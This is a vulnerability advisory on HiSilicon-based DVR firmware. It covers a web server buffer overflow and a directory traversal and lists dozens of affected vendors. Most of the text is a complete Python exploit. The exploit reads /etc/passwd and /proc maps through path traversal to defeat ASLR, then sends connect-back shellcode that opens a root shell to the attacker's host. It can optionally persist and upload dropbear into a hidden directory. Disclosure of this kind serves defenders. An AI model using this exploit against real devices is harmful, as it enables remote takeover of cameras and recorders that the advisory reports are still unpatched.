Vulnerabilities Summary
The following advisory describes 2 vulnerabilities found in HiSilicon application-specific integrated circuit (ASIC) chip set firmware.
HiSilicon provides ASICs and solutions for communication network and digital media. These ASICs are widely used in over 100 countries and regions around the world. In the digital media field, HiSilicon has already released the SoC and solution for network surveillance, videophone, DVB and IPTV.
The vulnerabilities found in HiSilicon ASIC firmware are:
- Buffer overflow in built-in webserver
- Directory path traversal built-in webserver
The list of vendors working with HiSilicon is unknown. We manage to identify 55 different vendors, all of them are still vulnerable.
Here is example of 10 vendors using the HiSilicon application-specific integrated circuit (ASIC) chip set in their products (the full list can be found in the end of this report):
- http://www.vacron.com/products_CCTV_dvr.html
- http://www.gess-inc.com/gess/dvrs/
- http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175
- http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D
- http://optimus-cctv.ru/catalog/ahd-videoregistratory
- http://www.clearcftv.com.br/linha.php?l=5&ln=ahd
- http://click-cam.com/html2/products.php?t=2
- http://www.ccd.dn.ua/ahd-videoregistratory.html
- http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/
- http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr
Credit
An independent security researcher Istvan Toth has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
We tried to communicate with the vendor through emails and twitter, over the course of several months, we were unable to get any response.
Vulnerabilities Details
Buffer overflow in built-in web server
The built-in web server is provided by the binary file Sofia, this binary is vulnerable to a buffer overflow and can be exploited to run shellcode (as root) on the device.
The web server does not check the HTTP GET request size. To exploit the vulnerability, all you need to do is craft an HTTP GET request with an URL that contains “a”*299 + “xxxx” in it.
Where “xxxx” controls PC register (program flow). The hardware does not enable the NX bit, which makes it possible to execute the shellcode found in the “a”*299 section. However, a stack address leak is needed in order to defeat ASLR.
Directory traversal built-in web server
The built-in web server suffers from a directory path traversal vulnerability which can be exploited to leak arbitrary files.
The vulnerability is also found in the web server binary `Sofia` which is running with root privileges, therefore, exploiting this directory traversal can be used to read from device file system – which makes it easy to bypass the ASLR.
The web server do not filter HTTP GET request. To exploit the vulnerability, all you need to do is to craft HTTP GET request with “../../etc/passwd HTTP” to read file “/etc/passwd“. Furthermore, dir listing is enabled as well.
Proof of Concept
By exploiting the directory traversal built-in web server we can bypass ASLR needed to exploit the buffer overflow. The file system located at /proc contains a lot of information about running processes, e.g. contains memory mappings. Therefore requesting “GET ../../proc/[pid]/maps HTTP” will read the memory mapping of process whose pid is [pid]. By observing the memory mapping patterns it is enough to defeat ASLR (offset from mem map base is the same, even in different versions).
#!/usr/bin/env python2 from pwn import * from time import sleep import re import argparse import os parser = argparse.ArgumentParser(description='exploit HiSilicon DVR devices') parser.add_argument('--rhost', help='target host', required=True) parser.add_argument('--rport', help='target port', default=80) parser.add_argument('--lhost', help='connectback ip', required=True) parser.add_argument('--lport', help='connectback port', default=31337) parser.add_argument('--bhost', help='listen ip to bind (default: connectback)') parser.add_argument('--bport', help='listen port to bind (default: connectback)') parser.add_argument('-n', '--nolisten', help='do not start listener (you should care about connectback listener on your own)', action='store_true') parser.add_argument('-i', '--interactive', help='select stack memory region interactievly (rather than using autodetection)', action='store_true') parser.add_argument('-p', '--persistent', help='make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)', action='store_true') parser.add_argument('-u', '--upload', help='upload tools (now hardcoded "./tools/dropbear" in script) after pwn', action='store_true') parser.add_argument('--offset', help='exploit param stack offset to mem page base (default: 0x7fd3d8)', default=0x7fd3d8) parser.add_argument('--cmdline', help='cmdline of Sofia binary on remote target (default "/var/Sofia")', default='/var/Sofia') args = parser.parse_args() target_host = args.rhost target_port = int(args.rport) sofia_cmdline = args.cmdline if args.interactive: getleak_interactive = True else: getleak_interactive = False if args.persistent: shell_persistent = True else: shell_persistent = False if args.upload: shell_upload = True else: shell_upload = False connectback_host = args.lhost connectback_port = int(args.lport) if args.bhost: listen_host = args.bhost else: listen_host = connectback_host if args.bport: listen_port = int(args.bport) else: listen_port = connectback_port # get pid of running dvr binary '/var/Sofia' def findpid(): with log.progress('getting pidlist') as logp: c = context.log_level context.log_level = 'error' r = remote(target_host, target_port) r.sendline('GET ../../proc HTTP') pids = [] for line in r.recvall().splitlines(): res = re.match(r'.*\.\./\.\./proc/([0-9]+)"', line) if res: pids.append(int(res.group(1))) r.close() context.log_level = c logp.success('found %d processes' % len(pids)) with log.progress("searching for PID of '%s'" % sofia_cmdline) as logp: pid_sofia = None pids.sort(reverse=True) for pid in pids: logp.status(str(pid)) c = context.log_level context.log_level = 'error' r = remote(target_host, target_port) r.sendline('GET ../../proc/%d/cmdline HTTP' % pid) resp = r.recvall().splitlines() r.close() context.log_level = c if sofia_cmdline + '\x00' == resp[-1]: pid_sofia = pid logp.success(str(pid_sofia)) break if not pid_sofia: logp.failure('did not found') return pid_sofia def getmodelnumber(): c = context.log_level context.log_level = 'error' r = remote(target_host, target_port) r.sendline('GET ../../mnt/custom/ProductDefinition HTTP') for l in r.recvall(timeout=5).decode('ascii').replace(',', '\n').splitlines(): if "Hardware" in l: modelnumber = l.split(":")[1].split('"')[1] r.close() context.log_level = c return modelnumber def guessregion(smaps): for t in range(len(smaps)-7, 1, -1): if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8: return (t+3) return (-1) # getting stack section base address # 'k' defines the section which contains the stack def getleak(pid, interactive): with log.progress("getting stack section base") as logp: c = context.log_level context.log_level = 'error' r = remote(target_host, target_port) r.sendline('GET ../../proc/%d/smaps HTTP' % pid) smaps = [] memStart = False for line in r.recvall().splitlines(): if memStart: t += (int(line.split()[1]),) i += 1 #if i >= 14: if i >= 7: smaps.append((memStart, t)) memStart = False if 'rwxp' in line: memStart = int(line.split('-')[0], 16) i = 0 t = () guess = guessregion(smaps) if guess < 0 or interactive: j = 0 for i in smaps: print (j, hex(i[0]), i[1:]) j += 1 k = int(raw_input('enter stack region id (guessed value = %d): ' % guess)) else: k = guess leak = smaps[k][0] r.close() context.log_level = c logp.success(hex(leak)) return leak # connectback shellcode # badchars: 0x00, 0x0d, 0x20, 0x3f, 0x26 def shellcode(lhost, lport): badchars = [0x00, 0x0d, 0x20, 0x3f, 0x26] badchars = map(chr, badchars) xscode = "01108fe211ff" xscode += "2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba10223" xscode += "0b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b4" xscode += "69460b2701df0121081c01dfc046ffff7a69c0a858642f62696e2f736858" xscode += "ffffc046efbeadde" h = lambda x: hex(int(x))[2:] h2 = lambda x: h(x).zfill(2) xscode = xscode[:164] + h(lport+0x100).zfill(4) + ''.join(map(h2, lhost.split('.'))) + xscode[176:] xscode = xscode.decode('hex') for badchar in badchars: if badchar in xscode: raise NameError('badchar %s in shellcode!' % hex(ord(badchar))) return xscode def restart_dvrapp(c): with log.progress('restarting dvr application') as logp: logp.status('looking up dvrhelper process') c.sendline('ps') cmdline = '' while not 'dvrHelper' in cmdline: cmdline = c.recvline() cmdline = cmdline.split() while not 'ps' in c.recvline(): pass sleep(1) logp.status('killing dvrhelper') c.sendline('kill %s' % cmdline[0]) sleep(1) cmdline_dvrhelper = ' '.join(cmdline[4:]) logp.status('starting dvrhelper: %s' % cmdline_dvrhelper) c.sendline(cmdline_dvrhelper + ' 2>/dev/null &') sleep(1) c.recvuntil(sofia_cmdline) c.recvline() def upload_tools(c): with log.progress('uploading tools to /var/.tools') as logp: logp.status('creating dir') c.sendline('rm -fr /var/.tools') sleep(1) c.sendline('mkdir /var/.tools') sleep(1) tools = ['dropbear'] upload_blocksize = 1024 for tool in tools: toolsize = os.path.getsize('./tools/%s' % tool) b = 0 fp = open("./tools/%s" % tool, "rb") for chunk in iter(lambda: fp.read(upload_blocksize), ''): chunkhex = ''.join(['\\x'+chunk.encode('hex')[i:i+2].zfill(2) for i in range(0, len(chunk)*2, 2)]) c.sendline("echo -n -e '%s' >> /var/.tools/%s" % (chunkhex, tool)) b += len(chunk) logp.status('%s: %d/%d' % (tool, b, toolsize)) sleep(0.1) fp.close() c.sendline('chmod +x /var/.tools/%s' % tool) sleep(1) logp.success(' '.join(tools)) log.info('target is %s:%d' % (target_host, target_port)) if not args.nolisten: log.info('connectback on %s:%d' % (listen_host, listen_port)) with log.progress("assembling shellcode") as logp: xscode = shellcode(connectback_host, connectback_port) logp.success("done. length is %d bytes" % len(xscode)) with log.progress("identifying model number") as logp: modelnumber = getmodelnumber() logp.success(modelnumber) log.info('exploiting dir path traversal of web service to get leak addresses') stack_section_base = getleak(findpid(), getleak_interactive) stack_offset = args.offset stack_20 = stack_section_base + stack_offset + 20 log.info('shellcode address is ' + hex(stack_20)) payload = "GET " payload += xscode payload += "a" * (299 - len(xscode)) payload += p32(stack_20) payload += " HTTP" log.info('exploiting buffer overflow in web service url path') log.info('remote shell should gained by connectback shellcode!') if not args.nolisten: l = listen(bindaddr=listen_host, port=listen_port, timeout=5) c = l.wait_for_connection() r = remote(target_host, target_port) r.sendline(payload) r.recvall(timeout=5) r.close() if not args.nolisten: if shell_persistent: restart_dvrapp(c) if shell_upload: upload_tools(c) c.interactive()
List of vulnerable vendors and products:
The following is a long list of vulnerable vendor/devices, it is by no means exhaustive or complete.
- http://www.luxvision.com.br/category/dvr-ahd/
- http://www.yesccd.com/?products/DigitalVideoRecorder.html
- http://www.tvzsecurity.com.br/produtos/31/Stand-Alone
- http://showtec.com.br/dv-stand-alone/
- http://www.ecotroniccftv.com.br/index.php
- http://starligh.com/cctv/grabadoras.html
- http://www.activepixel.us/ap-0404-ahd.html
- http://j2000.ru/cat/DVR/
- http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html
- http://kenik.pl/index.php/tag/rejestrator/
- http://www.redebsd.com.br/categoria-25-gravacao-digital
- http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html
- http://www.visagems.com.br/prd.asp?idP=1119575
- http://www.braskell.com.br/dvr.html
- http://www.segvideo.com/segvideo/nvr-hvr.html
- http://www.neocam.com.br/cameras-cftv/stand-alone
- http://www.venetian.com.br/categoria/dvr-hvr-04-canais/
- http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html
- http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html
- http://www.vixline.com.br/vitrine-de-produtos/dvrs/
- http://aliveelectronics.com.br/category/gravadores-de-video/
- http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm
- http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html
- http://www.vonnic.ca/products376e.html?cat=13
- http://polyvision.ru/polyvision/catalog_gibridnye.html
- http://altcam.ru/video/hd-videonabludenie/
- http://cyfron.ru/catalog/dvr/
- http://www.jassun.ru/home/products/f_FormFactor[like]=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80&f_price[from]=2450&f_price[to]=49000&page=1&limit=0
- http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/
- http://www.hiview.co.th/index.php?mo=3&art=42195125
- http://www.kkmoon.com/usb-fan-271/p-s413-uk.html
- http://qvisglobal.com/ahd-tvi-960h-hybrid
- https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html
- http://www.novicam.ru/index.php?route=product/product&product_id=429
- http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf
- http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884
- http://giraffe.by/catalog/tsifrovye-videoregistratory
- http://www.winpossee.com/en/list/?17_1.html
- http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html
- http://hiq-electronics.ru/videoregistratory
- http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc
- http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0
- http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html
- http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557
- http://www.divitec.ru/videoregistratoryi-divitec-idvr/